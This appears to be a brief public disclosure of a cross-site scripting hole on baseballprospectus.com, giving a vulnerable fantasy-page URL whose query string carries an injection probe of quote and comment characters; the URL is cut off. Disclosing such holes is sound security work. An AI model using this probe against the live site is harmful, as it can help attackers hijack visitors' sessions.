baseballprospectus.com XSS vulnerability

Vulnerable URL: http://www.baseballprospectus.com/fantasy/tt/index.php?sincedayvalue=Mondaydatemonth=Marchdateday=1=numdaysvalue=14=1/-///'/"//--...